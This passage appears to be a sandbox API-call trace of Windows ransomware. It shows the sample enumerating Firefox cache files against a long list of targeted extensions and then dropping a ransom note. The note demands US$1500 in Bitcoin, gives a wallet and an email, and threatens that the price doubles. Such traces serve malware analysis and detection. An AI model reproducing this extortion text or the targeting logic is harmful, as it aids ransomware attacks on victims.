returned 0 [0085.610] lstrlenA (lpString="*.zip") returned 5 [0085.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.html") returned 0 [0085.610] lstrlenA (lpString="*.html") returned 6 [0085.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.htm") returned 0 [0085.610] lstrlenA (lpString="*.htm") returned 5 [0085.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.xlsx") returned 0 [0085.610] lstrlenA (lpString="*.xlsx") returned 6 [0085.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.xls") returned 0 [0085.611] lstrlenA (lpString="*.xls") returned 5 [0085.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.mp4") returned 0 [0085.611] lstrlenA (lpString="*.mp4") returned 5 [0085.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.ppt") returned 0 [0085.611] lstrlenA (lpString="*.ppt") returned 5 [0085.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.pptx") returned 0 [0085.611] lstrlenA (lpString="*.pptx") returned 6 [0085.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.doc") returned 0 [0085.611] lstrlenA (lpString="*.doc") returned 5 [0085.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.dot") returned 0 [0085.611] lstrlenA (lpString="*.dot") returned 5 [0085.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.docx") returned 0 [0085.611] lstrlenA (lpString="*.docx") returned 6 [0085.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.7z") returned 0 [0085.611] lstrlenA (lpString="*.7z") returned 4 [0085.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.tar") returned 0 [0085.611] lstrlenA (lpString="*.tar") returned 5 [0085.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.bz2") returned 0 [0085.612] lstrlenA (lpString="*.bz2") returned 5 [0085.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.gz") returned 0 [0085.612] lstrlenA (lpString="*.gz") returned 4 [0085.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.mkv") returned 0 [0085.612] lstrlenA (lpString="*.mkv") returned 5 [0085.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.eml") returned 0 [0085.612] lstrlenA (lpString="*.eml") returned 5 [0085.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.msg") returned 0 [0085.612] lstrlenA (lpString="*.msg") returned 5 [0085.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.edb") returned 0 [0085.612] lstrlenA (lpString="*.edb") returned 5 [0085.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.accdb") returned 0 [0085.612] lstrlenA (lpString="*.accdb") returned 7 [0085.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.odb") returned 0 [0085.612] lstrlenA (lpString="*.odb") returned 5 [0085.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.java") returned 0 [0085.612] lstrlenA (lpString="*.java") returned 6 [0085.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.asm") returned 0 [0085.613] lstrlenA (lpString="*.asm") returned 5 [0085.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.pfx") returned 0 [0085.613] lstrlenA (lpString="*.pfx") returned 5 [0085.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.pem") returned 0 [0085.613] lstrlenA (lpString="*.pem") returned 5 [0085.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.p12") returned 0 [0085.613] lstrlenA (lpString="*.p12") returned 5 [0085.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.gpg") returned 0 [0085.613] lstrlenA (lpString="*.gpg") returned 5 [0085.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.vsd") returned 0 [0085.613] lstrlenA (lpString="*.vsd") returned 5 [0085.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.odg") returned 0 [0085.613] lstrlenA (lpString="*.odg") returned 5 [0085.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.raw") returned 0 [0085.613] lstrlenA (lpString="*.raw") returned 5 [0085.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.nef") returned 0 [0085.613] lstrlenA (lpString="*.nef") returned 5 [0085.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.svg") returned 0 [0085.614] lstrlenA (lpString="*.svg") returned 5 [0085.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.psd") returned 0 [0085.614] lstrlenA (lpString="*.psd") returned 5 [0085.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.vmx") returned 0 [0085.614] lstrlenA (lpString="*.vmx") returned 5 [0085.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.vmdk") returned 0 [0085.614] lstrlenA (lpString="*.vmdk") returned 6 [0085.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.vdi") returned 0 [0085.614] lstrlenA (lpString="*.vdi") returned 5 [0085.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.lay6") returned 0 [0085.614] lstrlenA (lpString="*.lay6") returned 6 [0085.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.mpeg") returned 0 [0085.614] lstrlenA (lpString="*.mpeg") returned 6 [0085.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.djvu") returned 0 [0085.614] lstrlenA (lpString="*.djvu") returned 6 [0085.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.tiff") returned 0 [0085.615] lstrlenA (lpString="*.tiff") returned 6 [0085.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.backup") returned 0 [0085.615] lstrlenA (lpString="*.backup") returned 8 [0085.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.pdf") returned 0 [0085.615] lstrlenA (lpString="*.pdf") returned 5 [0085.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.cert") returned 0 [0085.615] lstrlenA (lpString="*.cert") returned 6 [0085.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.docm") returned 0 [0085.615] lstrlenA (lpString="*.docm") returned 6 [0085.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.xlsm") returned 0 [0085.615] lstrlenA (lpString="*.xlsm") returned 6 [0085.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.dwg") returned 0 [0085.615] lstrlenA (lpString="*.dwg") returned 5 [0085.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.nd") returned 0 [0085.615] lstrlenA (lpString="*.nd") returned 4 [0085.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.tlg") returned 0 [0085.615] lstrlenA (lpString="*.tlg") returned 5 [0085.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.lgb") returned 0 [0085.615] lstrlenA (lpString="*.lgb") returned 5 [0085.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.mov") returned 0 [0085.615] lstrlenA (lpString="*.mov") returned 5 [0085.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.xdw") returned 0 [0085.616] lstrlenA (lpString="*.xdw") returned 5 [0085.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.ods") returned 0 [0085.616] lstrlenA (lpString="*.ods") returned 5 [0085.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.wav") returned 0 [0085.616] lstrlenA (lpString="*.wav") returned 5 [0085.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.mp3") returned 0 [0085.616] lstrlenA (lpString="*.mp3") returned 5 [0085.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.aiff") returned 0 [0085.616] lstrlenA (lpString="*.aiff") returned 6 [0085.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.flac") returned 0 [0085.616] lstrlenA (lpString="*.flac") returned 6 [0085.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.m4a") returned 0 [0085.616] lstrlenA (lpString="*.m4a") returned 5 [0085.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01", pszSpec="*.csv") returned 0 [0085.616] lstrlenA (lpString="*.csv") returned 5 [0085.616] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4898, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="C3B7Bd01", cAlternateFileName="")) returned 0 [0085.617] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0085.617] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="A8", cAlternateFileName="")) returned 0 [0085.617] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0085.617] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x30, dwReserved1=0x0, cFileName="1", cAlternateFileName="")) returned 1 [0085.617] lstrcmpA (lpString1=".", lpString2="1") returned -1 [0085.617] lstrcmpA (lpString1="..", lpString2="1") returned -1 [0085.617] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0085.617] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1" [0085.617] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1") returned 93 [0085.617] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0085.618] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.618] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.618] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.618] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.618] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0B", cAlternateFileName="")) returned 1 [0085.618] lstrcmpA (lpString1=".", lpString2="0B") returned -1 [0085.618] lstrcmpA (lpString1="..", lpString2="0B") returned -1 [0085.618] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*.*") returned="*.*" [0085.618] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\", lpString2="0B" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B" [0085.618] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B") returned 96 [0085.618] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0085.619] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.619] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.619] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.619] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.619] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x204fd, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="FCBF5d01", cAlternateFileName="")) returned 1 [0085.619] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0085.619] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FCBF5d01") returned -1 [0085.619] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FCBF5d01") returned 1 [0085.619] lstrcmpiA (lpString1="", lpString2="FCBF5d01") returned -1 [0085.619] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*.*") returned="*.*" [0085.619] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\" [0085.619] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\") returned="" [0085.620] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\HOW TO DECRYPT FILES.txt" [0085.620] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\how to decrypt files.txt")) returned 0xffffffff [0085.620] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0085.621] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0085.621] WriteFile (in: 